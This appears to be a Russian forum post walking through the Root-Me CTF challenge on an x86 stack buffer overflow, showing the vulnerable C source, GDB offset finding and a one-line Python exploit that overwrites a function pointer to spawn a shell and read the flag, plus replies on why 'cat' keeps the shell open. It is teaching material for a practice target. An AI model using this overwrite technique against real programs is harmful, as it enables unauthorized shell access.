• 🚨 Ещё можно успеть на курс «OSINT: технология боевой разведки» от Академии Кодебай

    🔍 Изучите методы разведки с использованием открытых источников (OSINT) для проведения успешных атак.
    🛠️ Освойте ключевые инструменты, такие как Maltego, TheHarvester и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальную разведку.
    🧠 Развивайте навыки, которые помогут вам стать экспертом в области информационной безопасности.

    Запись открыта до 23 мая Подробнее о курсе ...

CTF Root-Me, App-System, ELF x86 - Stack buffer overflow basic 2

fuzzz

Green Team
03.02.2019
250
469
ELF x86 - Stack buffer overflow basic 2

Environment configuration :


PIEPosition Independent Executable
valide
RelRORead Only relocations
valide
NXNon-Executable Stack
valide
Heap execNon-Executable Heap
valide
ASLRAddress Space Layout Randomization
valide
SFSource Fortification
valide
SSPStack-Smashing Protection
valide
SRCSource code access
valide

Source code :
C:
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/

#include <stdio.h>
#include <stdlib.h>

void shell() {
    system("/bin/dash");
}

void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}

main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}
Решение

На этот раз есть харденинг защита в стеке и в куче. Она запрещается выполнять код в этих областях памяти. Но эта защита нам ни чем не мешает. Она просто есть, для того чтобы нельзя было пихнуть свой шеллкод так сказать. Решается это дело тоже очень просто. Суть задачи вызвать функцию shell которая предоставит нам командную оболочку, а затем мы сможем получить флаг.

Запускаем программу под GDB и скармливаем ей .

gdb -q ./ch15 r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

29469


Получаем адрес смещения 0x33654132



29467


128 байт область смещения.

128+4 вся область которая перезаписывает регистр EIP.

Теперь узнаем адрес функции shell.

disas shell q y,enter.

29483


Функция shell находится в памяти по адресу 0x08048464

Отлично теперь составим эксплойт

(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15 cat .passwd

Вот так вот можно взять второй флаг.
 
Последнее редактирование:
  • Нравится
Реакции: Good_shark и r4bb1t
я не про тот cat
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)') | ./ch15
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
--------------------------------------------------------------------------------------+++---------
я про этот кат, не могу понять смысла его использования
 
я не про тот cat
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)') | ./ch15
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15
--------------------------------------------------------------------------------------+++---------
я про этот кат, не могу понять смысла его использования
Это обычный cat про который сказали выше. Смысл в том, чтобы оболочка не закрылась.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD